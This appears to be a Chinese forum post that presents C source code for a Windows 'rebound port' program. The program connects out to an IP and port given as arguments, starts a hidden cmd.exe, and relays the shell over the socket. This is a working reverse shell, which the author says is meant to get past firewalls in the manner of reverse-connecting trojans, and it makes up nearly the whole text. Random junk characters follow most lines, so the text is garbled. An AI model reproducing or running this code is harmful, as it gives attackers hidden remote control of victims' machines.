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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iXC/? EK4  
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/* ============================== yo V"?W>!  
Rebound port in Windows NT GMOv$Tn-_L  
By wind,2006/7 {U=za1Ga  
===============================*/ #v-)Ie\F?  
#include 0t 7yK  
#include Jg k@ti.}Z  
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#pragma comment(lib,"wsock32.lib") _*Vq1D]C  
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void OutputShell(); 13A11XTp  
SOCKET sClient; 7w )#[^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C%#C|X193  
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void main(int argc,char **argv) n*D)RiW  
{ /eR@&!D '  
WSADATA stWsaData; LnZz=  
int nRet; 8%7H F:  
SOCKADDR_IN stSaiClient,stSaiServer; n<yV]i$  
/H^bDUC :r  
if(argc != 3) Q}]:lmqH  
{ 3v:RLnB  
printf("Useage:\n\rRebound DestIP DestPort\n"); : M0LAN  
return; .(;k]U P  
} {b/60xl?  
\{?v|%n=/i  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~"Ek X  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZH:#~Zyj  
hU G Iy(  
stSaiClient.sin_family = AF_INET; G`|mP:T:o  
stSaiClient.sin_port = htons(0); sutj G`m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); snj4MA@I]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) biGaP#"0  
{ GLc+`,.  
printf("Bind Socket Failed!\n"); L6$,<}l  
return; 1Sz5&jz  
} v}[KVwse  
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stSaiServer.sin_family = AF_INET; Q;r 0#"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7F?^gMi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ; @Gm@d  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >tP/"4c  
{ #D//oL"u]  
printf("Connect Error!"); dJNYuTZ'  
return; .(9IAAwKn  
} e%'9oAz  
OutputShell(); cx_"{`+e  
} drtQEc>qT  
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void OutputShell() -oF4mi8S  
{ shn`>=0.&  
char szBuff[1024]; mq'q@@:c  
SECURITY_ATTRIBUTES stSecurityAttributes; 6t]oSxN  
OSVERSIONINFO stOsversionInfo; =#%e'\)a  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aKCCFHq t!  
STARTUPINFO stStartupInfo; WlZ[9,:p1  
char *szShell; Q1eiU Y6  
PROCESS_INFORMATION stProcessInformation; |7%$+g  
unsigned long lBytesRead; f.+e  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {!oO>t  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2b|vb}|t{  
stSecurityAttributes.lpSecurityDescriptor = 0; wZrdr4j  
stSecurityAttributes.bInheritHandle = TRUE; -]'Sy$,A  
Mm.!$uR  
zi*D8!_C  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e4CG=K3s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u> >t"w  
0HxF#SlKM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -JwH^*Ad  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9MM4C  
stStartupInfo.wShowWindow = SW_HIDE; yMz@-B  
stStartupInfo.hStdInput = hReadPipe; U7x}p^B9\N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G2L7_?/m  
a.8nWs^  
GetVersionEx(&stOsversionInfo); cW&OVNj  
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switch(stOsversionInfo.dwPlatformId) }P}l4k1W  
{ p3x(:=   
case 1: ?6j@EJ<2q  
szShell = "command.com"; $g|g}>Sc  
break; QT%&vq  
default: C5sV-UMR  
szShell = "cmd.exe"; )SDGj;j+  
break; tO~H/0  
} [BV{=;iD  
SxT:k,ji  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g>f(5  
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send(sClient,szMsg,77,0); (\R"v^  
while(1) XTeU 2I  
{ .2Rh_ful  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i1G}m Yz_  
if(lBytesRead) $~ItT1k_  
{ i!czI8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 80+" x3r  
send(sClient,szBuff,lBytesRead,0); 6'wP?=  
} m&ZdtB|  
else *4(.=k  
{ 3{$c b"5  
lBytesRead=recv(sClient,szBuff,1024,0); `pcjOM8u  
if(lBytesRead<=0) break; 6(ja5)sn*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hR{Fn L  
} }:hdAZ+z  
} u-k*[!JU  
sHEISNj/^  
return; g" M1HxlV  
}
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